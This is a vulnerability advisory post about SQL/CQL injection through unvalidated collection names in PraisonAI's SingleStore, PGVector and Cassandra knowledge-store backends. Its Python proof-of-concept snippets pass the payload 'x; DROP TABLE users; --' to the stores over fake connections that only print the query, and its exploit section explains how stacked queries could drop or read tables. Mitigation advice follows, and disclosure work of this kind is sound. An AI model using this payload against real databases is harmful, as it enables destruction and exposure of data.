Listen to this Post
How the CVE works:
PraisonAI implements optional knowledge-store backends for SQL (SingleStore, PostgreSQL) and CQL (Cassandra). The public `KnowledgeStore` interface accepts free-form collection names in methods like create_collection(), delete_collection(), insert(), upsert(), search(), get(), delete(), and count(). Affected backends—SingleStoreVectorKnowledgeStore, PGVectorKnowledgeStore, and CassandraKnowledgeStore—interpolate these collection names directly into raw query strings using f-strings or concatenation, without any validation or parameterization. For example, `SingleStoreVectorKnowledgeStore` builds `table_name = f”{self.table_prefix}{name}”` and executes raw DDL. `PGVectorKnowledgeStore` constructs `public.praison_vec_{collection}` and index names `idx_{name}_embedding` directly into SQL. `CassandraKnowledgeStore` interpolates `name` and `collection` into CREATE TABLE, DROP TABLE, INSERT, SELECT, DELETE, and `COUNT` statements. Although a `validate_identifier()` function exists in the conversation persistence layer (allowing only alphanumerics and underscores), it is not applied to knowledge-store backends. The vulnerability is present from v2.4.1 (pgvector, cassandra) and v2.4.3 (singlestore_vector) through the current v4.6.33 (May 1, 2026). Applications that pass untrusted collection names to these APIs can cause SQL/CQL injection, leading to malformed queries, unauthorized table access, or execution of attacker-influenced commands.
dailycve form:
Platform: PraisonAI package
Version: v2.4.1-v4.6.33
Vulnerability: SQL/CQL injection
Severity: Critical
date: May 1 2026
Prediction: 2026-06-15
What Undercode Say:
Check vulnerable version
pip show praisonai | grep Version
Reproduce SingleStore injection (bash)
python3 -c "
import sys; sys.path.insert(0,'./scans/variant-hunt/PraisonAI/src')
from praisonai.persistence.knowledge.singlestore_vector import SingleStoreVectorKnowledgeStore
store = SingleStoreVectorKnowledgeStore()
store._initialized = True
store._conn = type('FakeConn',(),{'cursor':lambda self: type('FakeCursor',(),{'execute':lambda self,q,p=None:print(q)})()})()
store.delete_collection(\"x; DROP TABLE users; --\")
"
Reproduce PGVector injection
python3 -c "
import sys; sys.path.insert(0,'./scans/variant-hunt/PraisonAI/src')
from praisonai.persistence.knowledge.pgvector import PGVectorKnowledgeStore
store = PGVectorKnowledgeStore(auto_create_extension=False)
store._get_conn = lambda: type('FakeConn',(),{'cursor':lambda self: type('FakeCursor',(),{'execute':lambda self,q,p=None:print(q)})(),'commit':lambda:None})()
store.create_collection(\"x; DROP TABLE users; --\", 3)
"
Exploit:
Attacker supplies malicious collection name like `”x; DROP TABLE users; –“` to any API method that accepts collection name (create_collection, delete_collection, insert, search, etc.). The backend constructs SQL/CQL such as DROP TABLE IF EXISTS praisonai_x; DROP TABLE users; --. If the database driver executes multiple statements (e.g., via `EXECUTE` with stacked queries), the attacker can drop tables, read arbitrary data, or modify schema.
Protection from this CVE:
Apply input validation using the existing `validate_identifier()` regex (^[a-zA-Z0-9_]+$) to all collection names before passing to knowledge-store methods. Use parameterized queries for identifiers (where supported) or whitelist allowed names. Upgrade when patch is released (predicted 2026-06-15). For immediate mitigation, wrap knowledge-store calls with a sanitizer that rejects any collection name containing non-alphanumeric/underscore characters.
Impact:
Malformed queries leading to application errors; unauthorized access to unintended tables/indexes; potential execution of attacker-controlled SQL/CQL statements depending on backend/driver behavior (e.g., stacked queries in MySQL/SingleStore, or CQL injection in Cassandra). May lead to data corruption, deletion, or exposure of sensitive information. No direct HTTP remote exploit identified, but any application that forwards user input to these persistence APIs is at risk.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
